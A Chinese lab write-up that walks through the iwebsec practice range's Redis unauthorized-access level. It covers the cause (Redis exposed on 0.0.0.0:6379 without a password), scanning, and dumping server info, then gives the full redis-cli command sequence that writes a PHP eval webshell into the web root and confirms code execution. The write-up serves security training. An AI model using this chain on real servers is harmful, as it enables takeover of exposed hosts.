iwebsec靶场 数据库漏洞通关2-Redis数据库漏洞

这篇具有很好参考价值的文章主要介绍了iwebsec靶场 数据库漏洞通关2-Redis数据库漏洞。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

iwebsec靶场的redis漏洞为未授权漏洞,如下所示。

iwebsec的中间件漏洞,iwebsec靶场,web安全,redis未授权漏洞,redis漏洞,iwebsec靶场,未授权漏洞

一、Redis未授权漏洞原因

那么这个未授权漏洞的原理是什么呢?Redis 默认情况下,会绑定在 0.0.0.0:6379,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。

简单说,漏洞的产生条件有以下两点:
(1)redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网;
(2)没有设置密码认证(一般为空),可以免密码远程登录redis服务

二、渗透环境搭建

首先在自己的机器搭建渗透环境,Kali虚拟机系统作为攻击方,iwebsec的ubuntu虚拟机作为渗透靶场,为了保证两台机器可以互通,将两台虚拟机都设置为vmnet8的nat方式连接。

1.Kali系统作为攻击方配置环境

在进行渗透的过程中,使用Kali作为攻击主机,首先需要kali系统使用redis客户端连接到靶机的redis服务器,即攻击端需要安装redis客户端。

(1)Kali攻击主机环境配置

使用ifconfig -a命令获取ip地址,这里选择vmnet8网段的192.168.71.129

iwebsec的中间件漏洞,iwebsec靶场,web安全,redis未授权漏洞,redis漏洞,iwebsec靶场,未授权漏洞

 这样如果靶机启动redis服务进程后,就可以使用测试攻击机Kali中的redis-cli程序和靶机的redis服务交互了。

(2)既然使用kali系统作为攻击主机,那么攻击机需要可以使用redis-cli程序来连接靶机的redis服务程序。于是需要使用apt-get install redis-server安装redis,为避免安装失败可以先进行update,如下所示

sudo apt-get update
sudo apt-get install redis-server -y

安装过程如下所示

iwebsec的中间件漏洞,iwebsec靶场,web安全,redis未授权漏洞,redis漏洞,iwebsec靶场,未授权漏洞

(3) 安装成功后执行redis-cli -h确认安装是否成功

sudo redis-cli -h

 当展示出如下界面时,代表安装redis成功

iwebsec的中间件漏洞,iwebsec靶场,web安全,redis未授权漏洞,redis漏洞,iwebsec靶场,未授权漏洞
 

 2.获取靶机Redis服务器的ip地址与开启的端口号

 (1)打开iwebsec虚拟机,通过ifconfig -a确认kali可以访问的同一网段的ip地址,如下所示这里选择使用vmnet8同一网段的ip地址192.168.71.151

iwebsec的中间件漏洞,iwebsec靶场,web安全,redis未授权漏洞,redis漏洞,iwebsec靶场,未授权漏洞

(2)打开iwebsec靶场,如下所示关卡的最后一关为redis数据库漏洞

iwebsec的中间件漏洞,iwebsec靶场,web安全,redis未授权漏洞,redis漏洞,iwebsec靶场,未授权漏洞

点开后效果如下,提示redis端口为6379,用户名密码为空,正好满足前面我们讲过的redis未授权漏洞存在的前提。

iwebsec的中间件漏洞,iwebsec靶场,web安全,redis未授权漏洞,redis漏洞,iwebsec靶场,未授权漏洞

3.获取redis服务器的端口号

如上图所示,iwebsec实际上是使用docker搭建的,也就是说这个ubuntu虚拟机中通关docker搭建的iwebsec靶场。docker中开启的redis端口与这台ubuntu虚拟靶机之间具有端口映射关系,这个端口映射是一一对应关系。接下来要做的就是通过docker命令查询这个映射关系,以确定docker中的iwebsec在ubuntu中的端口号是什么

1)通过首先使用docker ps获取到容器的id

docker ps

运行结果如下,docker容器的id为bc23a49cb37c

iwebsec的中间件漏洞,iwebsec靶场,web安全,redis未授权漏洞,redis漏洞,iwebsec靶场,未授权漏洞

 如上端口号中有0.0.0.0:6379->6379/tcp,也就是说docker容器中的3306端口号映射到ubuntu虚拟机的6379端口号,那么也就是说通过访问ubuntu的6379端口即可访问到靶机的Redis服务

2)在ubuntu iwebsec虚拟机中此时使用netstat -ano|grep 6379时

netstat -ano|grep 6379

如下显示出此端口已经打开

iwebsec的中间件漏洞,iwebsec靶场,web安全,redis未授权漏洞,redis漏洞,iwebsec靶场,未授权漏洞

三、Redis渗透

1.Kali使用Nmap扫描靶机

我们在攻击机使用nmap尝试扫描靶机,命令如下

nmap 192.168.71.151 -p 6379

看看是否能扫描出redis服务端口号

iwebsec的中间件漏洞,iwebsec靶场,web安全,redis未授权漏洞,redis漏洞,iwebsec靶场,未授权漏洞

2.Redis敏感信息获取

kali攻击机(模拟redis客户端)执行命令,

sudo redis-cli -h 192.168.71.151

 连接成功后在出现的交互界面中输入info

info

效果如下

iwebsec的中间件漏洞,iwebsec靶场,web安全,redis未授权漏洞,redis漏洞,iwebsec靶场,未授权漏洞

 如上所示,直接获取到靶机redis服务的敏感信息

3.Redis上传webshell获取控制权

接下来打算在网站根目录下放置一个webshell

(1)在网站的根目录/var/www/html下写一个webshell脚本,配置方法为

config set dir /var/www/html

(2)脚本名称为shell.php

config set dbfilename shell.php

(3)脚本内容为<?php @eval($_POST['cmd']); ?>

set webshell "<?php @eval($_POST['cmd']); ?>"

综上整体渗透脚本为

sudo redis-cli   -h   192.168.71.151
config set dir /var/www/html
config set dbfilename shell.php
set webshell "<?php @eval($_POST['cmd']); ?>"
save

渗透交互如下所示

iwebsec的中间件漏洞,iwebsec靶场,web安全,redis未授权漏洞,redis漏洞,iwebsec靶场,未授权漏洞

 (4)使用浏览器访问webshell,执行cmd=phpinfo()获取服务器的php信息,如下所示
由于webshell脚本被放到根目录中,故而webshell的url链接为 http://192.168.71.151/shell.php 
post参数为 cmd=phpinfo();

iwebsec的中间件漏洞,iwebsec靶场,web安全,redis未授权漏洞,redis漏洞,iwebsec靶场,未授权漏洞

 如上所示渗透成功

(5)蚁剑验证webshell上传成功

如下所示,webshell的url链接为 http://192.168.71.151/shell.php 连接密码为cmd

iwebsec的中间件漏洞,iwebsec靶场,web安全,redis未授权漏洞,redis漏洞,iwebsec靶场,未授权漏洞

 新增后效果如下,选择文件管理

iwebsec的中间件漏洞,iwebsec靶场,web安全,redis未授权漏洞,redis漏洞,iwebsec靶场,未授权漏洞

如下所示,渗透成功

iwebsec的中间件漏洞,iwebsec靶场,web安全,redis未授权漏洞,redis漏洞,iwebsec靶场,未授权漏洞文章来源地址https://www.toymoban.com/news/detail-705840.html

到了这里,关于iwebsec靶场 数据库漏洞通关2-Redis数据库漏洞的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 数据库安全-Redis未授权&Hadoop&Mysql&未授权访问&RCE 漏洞复现

    未授权访问漏洞可以理解为需要安全配置或权限认证的地址、授权页面存在缺陷导致其他用户可以直接访问从而引发重要权限可被操作、数据库或网站目录等敏感信息泄露,包括端口的未授权常见页面的未授权 /admin.php /menu.php 常见的未授权访问漏洞及默认端口: 默认端口统

    2024年02月03日
    浏览(49)
  • 文件上传漏洞之upload-labs靶场实战通关

    目录 pass-01 pass-02 pass-03 pass-04 pass-06 pass-07 pass-08 pass-09 pass-10 pass-11 pass-12 pass-13 pass-14 pass-15 pass-16 pass-17 pass-18 pass-19 pass-20 pass-21   pass-01   pass-02 前端删除完验证函数后通过burp修改 content-type的类型   pass-03 pass-04 本pass禁止上传.php|.php5|.php4|.php3|.php2|php1|.html|.htm|.phtml|.pHp|.pHp5|

    2023年04月08日
    浏览(53)
  • 全面了解文件上传漏洞, 通关upload-labs靶场

    upload-labs是一个专门用于学习文件上传漏洞攻击和防御的靶场。它提供了一系列模拟文件上传漏洞的实验环境,用于帮助用户了解文件上传漏洞的原理和防御技术。 这个靶场包括了常见的文件上传漏洞类型,如文件名欺骗、文件类型欺骗、文件上传功能绕过等。通过练习不同

    2024年02月04日
    浏览(50)
  • 【网络安全 --- xss-labs靶场通关(1-10关)】详细的xss-labs靶场通关思路及技巧讲解,让你对xss漏洞的理解更深刻

    靶场安装请参考以下博客,既详细有提供工具: 【网络安全 --- xss-labs靶场】xss-labs靶场安装详细教程,让你巩固对xss漏洞的理解及绕过技巧和方法(提供资源)-CSDN博客 【网络安全 --- xss-labs通关】xss-labs靶场通关,让你巩固对xss漏洞的理解及绕过技巧和方法(提供资源) h

    2024年02月08日
    浏览(49)
  • 【MySQL新手到通关】第一章 数据库概述

    持久化(persistence): 把数据保存到可掉电式存储设备中以供之后使用 。大多数情况下,特别是企 业级应用, 数据持久化意味着将内存中的数据保存到硬盘上加以”固化” ,而持久化的实现过程大多 通过各种关系数据库来完成。 持久化的主要作用是 将内存中的数据存储在关

    2024年02月07日
    浏览(54)
  • web安全-文件上传漏洞-图片马制作-相关php函数讲解-upload靶场通关详细教学(3)

    制作图片马有两种方法,一种是文本方式打开,末尾粘贴一句话木马,令一种是使用命令进行合成。 方法1 首先准备好一个图片(这里是1.png)。 将一个图片以文本格式打开(这里用的Notepad++,以记事本方式打开修改也能连接成功,不过修改后图片无法正常显示了)。 后面粘

    2024年02月06日
    浏览(56)
  • 【数据库通关之路】 MySQL 全路线学习知识点梳理(下)

    本文是MYSQL零基础小白学习系列的第三篇文章,点此阅读 上一篇文章 文末 包邮随机送《MySQL数据库进阶实战 》 五本 (点击下方目录直达) 目的:主键是一行数据的唯一标识,要求非空且唯一 添加约束: 建完表后添加主键约束: 删除约束: 目的:保存数据时,未指定值则采

    2024年02月04日
    浏览(58)
  • 【数据库通关之路】 MySQL 全路线学习知识点梳理(中)

    本文是 MYSQL零基础小白学习 系列的第二篇文章,点此阅读 上一篇文章 文末包邮送《分布式中间件核心原理与RocketMQ最佳实践 》 (点击下方目录直达)一本,本文每+1000浏览额外加抽一人 需求 :设计包含如下信息的学生表,请注重数据类型、长度的合理性。 编号 姓名,姓名最

    2023年04月20日
    浏览(45)
  • 【数据库通关之路】 MySQL 全路线学习知识点梳理(上)

    这是一篇 MySQL 通关 硬核经验学习路线,包括数据库相关知识,SQL语句的使用,数据库约束,设计等。专为小白整理,针对数据库零基础的朋友们,手把手带你学习MySQL,让你轻松学会! 文末包邮送《WPS Office高效办公:数据处理与分析 》1本(点击下方目录直达),本文每+1000浏览

    2024年02月04日
    浏览(45)
  • 数据库中间件对比

    相当于把中间件作为一个独立的服务了,它将接收到的SQL 语句做了一些特定的分析:如分片分析、路由分析、读写分离分析、缓存分析等,然后将此 SQL 发往后端的真实数据库,并将返回的结果做适当的处理,最终再返回给用户。 中间件在Driver或者连接池的基础之上,增加了

    2024年02月12日
    浏览(52)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包